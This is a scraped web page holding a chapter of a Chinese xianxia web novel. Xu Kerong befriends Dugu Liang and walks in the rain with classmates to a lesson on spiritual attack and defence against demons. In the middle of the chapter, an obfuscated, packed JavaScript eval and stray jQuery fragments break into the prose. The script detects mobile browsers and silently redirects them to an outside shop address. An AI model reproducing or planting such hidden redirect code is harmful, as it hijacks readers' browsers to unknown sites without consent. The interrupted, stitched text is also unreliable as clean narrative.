文趣网 > 其他小说 > 她有江湖病 > 22. 雨落观海阁
    本以为登云台地势高不会下雨,没想到也没有那么高,该下照样下。

    外头都是淅淅沥沥的雨声,无处不在的鸟叫声终于是没了,人说话的声音也消失不见,许可容待在屋里,敞开着门,耳朵被雨声灌满,像与世隔绝一样。

    她的身体恢复了,前两日还在山中蹦哒,到处熟悉方位,她一路上遇见的丹穴本家弟子个个都打扮的衣冠整齐精美绝伦,穿着华丽丽的衣服不说,样貌全都是十足的俊美,见许可容是生面孔,不管是两个三个还是七八个都围在一起叽叽喳喳讨论说:“看到那个人了吗?是三罡队的。”

    唯一遇到却没有讨论的就是一只“落单的独鸟”,可那人再怎么也算是登云台中人,秉着丹穴弟子爱八卦的传统,见了许可容,就算身边无人讨论,也追着她跑了好长一段路,抓住她说要交朋友。

    交什么朋友?许可容看着眼前这个丹凤眼还没有陈白真标准的浓眉杏眼的男子,高壮的身材和其他人不同不说,一股稚嫩之气也和其他取笑她的丹穴弟子很不一样,因为那些人,她对这里的人不仅没什么好感,甚至心生防备,也不太想交什么朋友。可是一想到之后还要在这里待上几年,脱不了和本家弟子一起上课,于是就开口说:“好啊,那就交朋友,我叫许可容,你呢?”

    “独孤凉,叫我阿凉就行了,你是三罡队特招的人吗?”独孤凉将刚刚追人时落下的一缕头发拧了拧,塞回发髻。

    “是啊,你听说了吗?”

    “我们独孤家的弟子也属于三罡队,只是没有你们那么特别,对了,我还认识了几个你们的人,陈白真,还有水牛乘非,玄龟山逸,猿九……”

    许可容愣了一下,“你去了鹰岭?”

    “是啊,”独孤凉凑过来耳语,“奶奶下了命令把那划为禁区,为了不影响你们修炼禁止我们过去。但是我还有东西留在那里,就飞过去拿,然后就碰到了你们的人在练化兽功。”

    许可容刚想说其实我们不在一起训练,她还没开口,独孤凉就继续说:“我带着好吃的好玩的去分给他们,就和他们成为朋友了!”

    原来这家伙的怪癖是交朋友。

    许可容只是站在那,独孤凉就堵着她热情地说这说那,“我知道你们住在梧桐院对不对,我去那找过阿真。”

    这倒是真的,梧桐院每日天还没亮窗外就有此起彼伏的鸟叫声来找陈白真,许可容接连忍了好几天,要是一直这么下去,作息都要调到两个时辰之前,可惜她不是忍气吞声的人,脾气大,起床气更大,立刻就找了陈白真,威胁他:“你要么就解决鸟叫,要么就提早两个时辰起来去找他们!总之明天开始,别让我再听到你的破闹钟!”

    起床气上头,许可容也顾不得什么计谋和忍耐了,也顾不上什么新同学之间的关系亲近了。

    第二天之后,在梧桐院她就再也没有听到清晨的鸟叫。

    她消了气,再次见到陈白真时难免尴尬,而陈白真却像什么都没发生一样,坦然给她送来课表,还带了江凝一起。

    三个人对了对课表,许可容和陈白真的课表几乎是十分之九的重叠,只有一处不同,许可容所有要单独修习的鞭法课,陈白真写的则是剑法。

    江凝跟他们都不一样,只有十分之一的相似,通篇都是心法、精神力、防守与疗伤,连经文课都没有,许可容羡慕的都想跟她换一下。

    回忆终了,门外还在下雨,她百无聊赖看着外面,雨滴打在飞檐上,顺着雨霖铃自上而下流入落水池。

    拿起桌边一卷羊皮卷,此物正是前几日陈白真拿给她的课程表,上面罗列了未来一个月密密麻麻的课程。

    有些课她大概能明白是怎么回事,心法、内功、鞭法、剑法、体能强化……这些她都很有兴致学,就是看到“经书阅读与理解”这几个字时,头疼像是又犯了,以前这部分都是智慈在做,如今智慈不在,她要自己一个人翻阅枯燥晦涩的书了,想想就叫苦不迭。许可容数了数,还好,一周只有一节经书课。

    除了这些之外,还有她完全不懂的课。

    “精神力攻防”是什么?

    她满心疑惑,忽然,在雨声中,一丝人为的敲门声突兀地响起,她的门原本就敞开着,外面的廊桥很宽,雨水进不来,还能听雨,许可容抬头,陈白真一袭蓝衣正在门口收伞,而后跨进门说:“走吧,要上课了。”

    “啊?”许可容立刻看向羊皮卷,手指找到最前端,他说的没错,第一节课马上就要开始了,是“精神力攻防”。

    这堂课要在登云台主院的观海阁上,陈白真叫了许可容一起,又去叫了江凝,路上跟她们解释:“这节课咱们要跟登云台弟子一块儿上,听说观海阁是丹穴最大的教室,而且特别高,在云层里面,你们恐高吗?”

    江凝摇了摇头,许可容也说:“我不怕高。”

    “那就行,这门课是大师父给我们上,我听他们说,大师父可严了,精神力攻防又是专门针对魔族开的课,咱们肯定会被特殊关照,不过再怎么样也就是正常听课,不怕他。”

    陈白真接着把话题扯到中午食堂吃什么,许可容心里却隐隐有些没底,追问他:“为什么咱们会被特殊关照?精神力攻防到底是什么东西啊,怎么从来都没听说过?”

    “你不知道?”陈白真晶莹的丹凤眼转过来看她。

    “你知道?”许可容问了他,又看向江凝,“你也知道?”

    江凝手在胸前比划,这次有些复杂,许可容没看懂,伸手过去让她写,谁料陈白真在耳边轻飘飘说道:“她说,现在魔害人的事情很普遍,她从小就听了很多魔的传说,当然也知道了。”

    他说完,江凝就点了点头。

    “你怎么知道她要说什么?”

    “不就是手语,很简单啊。”

    简单吗?为了和江凝熟悉,她可是专门去藏书阁借了本民间手语的书来,里面的手势花样繁复,光记手势就很难了,更不用说把它们连起来,一个手势晃一下就到下一个手势,一个接一个,根本来不及反应,哪里简单了?

    一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702148|208211||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    定是他早就有基础了,说不定从小就有语障人士的朋友,所以早早就熟悉手语,现在才能轻车熟路,许可容这样安慰自己,然后回到刚才的话题,继续说:“我以前住的地方偏,不怎么接触外面的事情,自然不了解魔族,别卖关子了,快跟我说说吧,精神力攻防到底是什么?”

    陈白真在雨中边走边说:“魔族强大到三仙八道联起手来都没有十足的把握能赢,你知道魔族为什么那么厉害吗?”

    “因为他们法力强大,人多?因为他们抢了很多高级的法器修炼,所以越来越厉害了?”

    “只说对了一半,法术再厉害,咱们也是可以修炼的,大不了硬手碰硬手,可是魔可怕就可怕在,他们几乎克制所有生灵,整个天下所有的生灵,活着都是一个“生”字,而魔族会侵蚀人生存的意志,利用人的贪欲、心魔、执念、恐惧等等,使人自造业障,自念沉沦。”

    许可容想到了被魔王攻击的那一晚,那时,空中像是有一团黑色的雾将她包围,挤压她的意志使她无从挣扎,那种感觉不是她主动做什么就能摆脱的,面对那股强大的力量,她丝毫没有抵抗之力,如果说魔的存在就是侵蚀人“生”的意志,许可容便立刻就能理解了。

    “所以精神力就是与魔临敌时会用到的,精神力强大便能抵挡魔族的威压,更强的时候甚至可以反击,这便是精神力攻防了。”

    陈白真边走边说着,忽然手臂被人拽了一下,是江凝叫住他,回头看,许可容在身后几步远外呆站着,雨水噼里啪啦打在她的伞上,伞下人不知在想什么,想的出神。

    陈白真和江凝互相看了一眼,都不明白她怎么了,走过去叫醒她。

    许可容回过神,眼前两张面孔赫然在伞下专注看她,两人神色疑惑,脚下和背后是丹穴山的青石板路。

    “我没事,”她说,“走吧走吧,快带路,我等不及要学精神力攻防了。”

    ……

    三人进了登云台,亲眼见到之后,观海阁的确又高又宽敞,阁中大小堪比一个不大不小的殿堂了,左右几根粗壮的柱子撑着穹顶,槛外是厚厚的云层。

    几十个桌子均匀铺开,三人收好伞进去,许可容一眼就看到了白鹤兰的动物组坐在角落三桌,他们不修边幅的样子和丹穴弟子多彩的华服形成了强烈对比,走过人,许可容听到已经落座的丹穴本家弟子在议论。

    “好寒酸啊,山下来的那群土老冒。”

    “他们就是住在鹰岭的那伙人吧,幸好仙君没叫他们跟咱们住在一块儿,真是太明智了。”

    “仙君还划了禁区,你别说,就算不划禁区,我也不会去鹰岭啊。”

    “……”

    反观陈白真,明明也是衣饰普通,走过一路,不少人跟他打招呼,三人找到前排一个长桌落座,三个人正好一桌。

    许可容还是止不住看向白鹤兰那边,野犬猿九那几个人不可能感受不到本家弟子排斥的眼光,可全部都神色坦然,如菩提坐庙般充耳不闻,视而不见,坐姿也随性舒坦得很。